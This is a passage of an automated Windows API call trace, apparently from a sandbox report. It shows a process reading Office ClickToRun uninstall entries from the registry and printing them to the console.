GetProcessHeap () returned 0x2e0000 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0146.960] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0146.960] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.960] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us") returned 92 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xbc) returned 0x2fd170 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.960] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.960] GetProcessHeap () returned 0x2e0000 [0146.960] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xbc [0146.960] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.960] RegCloseKey (hKey=0x5c) returned 0x0 [0146.960] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xe, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.960] __iob_func () returned 0x7fefd702a80 [0146.960] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.960] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n") returned 87 [0146.960] _fileno (_File=0x7fefd702ab0) returned 1 [0146.960] _errno () returned 0xc4bb0 [0146.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.961] _errno () returned 0xc4bb0 [0146.961] GetFileType (hFile=0x50) returned 0x1 [0146.961] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n") returned 87 [0146.961] GetConsoleOutputCP () returned 0x1b5 [0146.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0146.961] GetConsoleOutputCP () returned 0x1b5 [0146.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n", cchWideChar=87, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n", lpUsedDefaultChar=0x0) returned 87 [0146.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 87 [0146.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.961] RegOpenKeyExW (in: hKey=0x58, lpSubKey="SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.961] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.961] GetProcessHeap () returned 0x2e0000 [0146.961] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.961] __iob_func () returned 0x7fefd702a80 [0146.961] _fileno (_File=0x7fefd702ab0) returned 1 [0146.961] _errno () returned 0xc4bb0 [0146.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.961] _errno () returned 0xc4bb0 [0146.961] GetFileType (hFile=0x50) returned 0x1 [0146.961] lstrlenW (lpString="\n") returned 1 [0146.961] GetConsoleOutputCP () returned 0x1b5 [0146.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.962] GetConsoleOutputCP () returned 0x1b5 [0146.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.962] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.962] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.962] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned 86 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xb0) returned 0x2fd170 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.962] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.962] GetProcessHeap () returned 0x2e0000 [0146.962] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xb0 [0146.962] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.962] RegCloseKey (hKey=0x5c) returned 0x0 [0146.963] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xf, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="VisioProRetail - en-us", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.963] __iob_func () returned 0x7fefd702a80 [0146.963] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.963] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us\n") returned 94 [0146.963] _fileno (_File=0x7fefd702ab0) returned 1 [0146.963] _errno () returned 0xc4bb0 [0146.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.963] _errno () returned 0xc4bb0 [0146.963] GetFileType (hFile=0x50) returned 0x1 [0146.963] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us\n") returned 94 [0146.963] GetConsoleOutputCP () returned 0x1b5 [0146.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us\n", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94 [0146.963] GetConsoleOutputCP () returned 0x1b5 [0146.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us\n", cchWideChar=94, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us\n", lpUsedDefaultChar=0x0) returned 94 [0146.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 94 [0146.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.963] RegOpenKeyExW (in: hKey=0x58, lpSubKey="VisioProRetail - en-us", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.963] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0xb, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.963] GetProcessHeap () returned 0x2e0000 [0146.963] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0146.963] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.964] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1aa) returned 0x0 [0146.964] GetProcessHeap () returned 0x2e0000 [0146.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1ac) returned 0x2fd170 [0146.964] GetProcessHeap () returned 0x2e0000 [0146.964] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.964] GetProcessHeap () returned 0x2e0000 [0146.964] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x1ac [0146.964] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0x1aa | out: pdwType=0x23f5f0*=0x1, pvData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=VisioProRetail.16_en-us_x-none culture=en-us version.16=16.0", pcbData=0x23f670*=0x1a8) returned 0x0 [0146.964] __iob_func () returned 0x7fefd702a80 [0146.964] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.964] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.964] _fileno (_File=0x7fefd702ab0) returned 1 [0146.964] _errno () returned 0xc4bb0 [0146.964] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.964] _errno () returned 0xc4bb0 [0146.964] GetFileType (hFile=0x50) returned 0x1 [0146.964] lstrlenW (lpString=" ") returned 4 [0146.964] GetConsoleOutputCP () returned 0x1b5 [0146.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.964] GetConsoleOutputCP () returned 0x1b5 [0146.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.964] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.964] lstrlenW (lpString="UninstallString") returned 15 [0146.964] __iob_func () returned 0x7fefd702a80 [0146.965] _fileno (_File=0x7fefd702ab0) returned 1 [0146.965] _errno () returned 0xc4bb0 [0146.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.965] _errno () returned 0xc4bb0 [0146.965] GetFileType (hFile=0x50) returned 0x1 [0146.965] lstrlenW (lpString="UninstallString") returned 15 [0146.965] GetConsoleOutputCP () returned 0x1b5 [0146.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.965] GetConsoleOutputCP () returned 0x1b5 [0146.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0146.965] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.965] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.965] __iob_func () returned 0x7fefd702a80 [0146.965] _fileno (_File=0x7fefd702ab0) returned 1 [0146.965] _errno () returned 0xc4bb0 [0146.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.965] _errno () returned 0xc4bb0 [0146.965] GetFileType (hFile=0x50) returned 0x1 [0146.965] lstrlenW (lpString=" ") returned 4 [0146.965] GetConsoleOutputCP () returned 0x1b5 [0146.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.965] GetConsoleOutputCP () returned 0x1b5 [0146.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.966] __iob_func () returned 0x7fefd702a80 [0146.966] _fileno (_File=0x7fefd702ab0) returned 1 [0146.966] _errno () returned 0xc4bb0 [0146.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.966] _errno () returned 0xc4bb0 [0146.966] GetFileType (hFile=0x50) returned 0x1 [0146.966] lstrlenW (lpString="REG_SZ") returned 6 [0146.966] GetConsoleOutputCP () returned 0x1b5 [0146.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.966] GetConsoleOutputCP () returned 0x1b5 [0146.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.966] __iob_func () returned 0x7fefd702a80 [0146.966] _fileno (_File=0x7fefd702ab0) returned 1 [0146.966] _errno () returned 0xc4bb0 [0146.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.966] _errno () returned 0xc4bb0 [0146.966] GetFileType (hFile=0x50) returned 0x1 [0146.966] lstrlenW (lpString=" ") returned 4 [0146.967] GetConsoleOutputCP () returned 0x1b5 [0146.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.967] GetConsoleOutputCP () returned 0x1b5 [0146.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.967] __iob_func () returned 0x7fefd702a80 [0146.967] _fileno (_File=0x7fefd702ab0) returned 1 [0146.967] _errno () returned 0xc4bb0 [0146.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.967] _errno () returned 0xc4bb0 [0146.967] GetFileType (hFile=0x50) returned 0x1 [0146.967] lstrlenW (lpString="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=VisioProRetail.16_en-us_x-none culture=en-us version.16=16.0") returned 211 [0146.967] GetConsoleOutputCP () returned 0x1b5 [0146.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=VisioProRetail.16_en-us_x-none culture=en-us version.16=16.0", cchWideChar=211, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 211 [0146.967] GetConsoleOutputCP () returned 0x1b5 [0146.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=VisioProRetail.16_en-us_x-none culture=en-us version.16=16.0", cchWideChar=211, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=VisioProRetail.16_en-us_x-none culture=en-us version.16=16.0", lpUsedDefaultChar=0x0) returned 211 [0146.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 211 [0146.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.968] __iob_func () returned 0x7fefd702a80 [0146.968] _fileno (_File=0x7fefd702ab0) returned 1 [0146.968] _errno () returned 0xc4bb0 [0146.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.968] _errno () returned 0xc4bb0 [0146.968] GetFileType (hFile=0x50) returned 0x1 [0146.968] lstrlenW (lpString="\n") returned 1 [0146.968] GetConsoleOutputCP () returned 0x1b5 [0146.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.968] GetConsoleOutputCP () returned 0x1b5 [0146.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.968] GetProcessHeap () returned 0x2e0000 [0146.968] GetProcessHeap () returned 0x2e0000 [0146.968] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.968] GetProcessHeap () returned 0x2e0000 [0146.968] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x1ac [0146.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.968] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.968] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xfa) returned 0x0 [0146.968] GetProcessHeap () returned 0x2e0000 [0146.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xfc) returned 0x2fd170 [0146.968] GetProcessHeap () returned 0x2e0000 [0146.968] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.968] GetProcessHeap () returned 0x2e0000 [0146.969] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xfc [0146.969] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0xfa | out: pdwType=0x23f5f0*=0x1, pvData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", pcbData=0x23f670*=0xf8) returned 0x0 [0146.969] __iob_func () returned 0x7fefd702a80 [0146.969] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.969] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.969] _fileno (_File=0x7fefd702ab0) returned 1 [0146.969] _errno () returned 0xc4bb0 [0146.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.969] _errno () returned 0xc4bb0 [0146.969] GetFileType (hFile=0x50) returned 0x1 [0146.969] lstrlenW (lpString=" ") returned 4 [0146.969] GetConsoleOutputCP () returned 0x1b5 [0146.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.969] GetConsoleOutputCP () returned 0x1b5 [0146.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.969] lstrlenW (lpString="ModifyPath") returned 10 [0146.969] __iob_func () returned 0x7fefd702a80 [0146.969] _fileno (_File=0x7fefd702ab0) returned 1 [0146.969] _errno () returned 0xc4bb0 [0146.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.969] 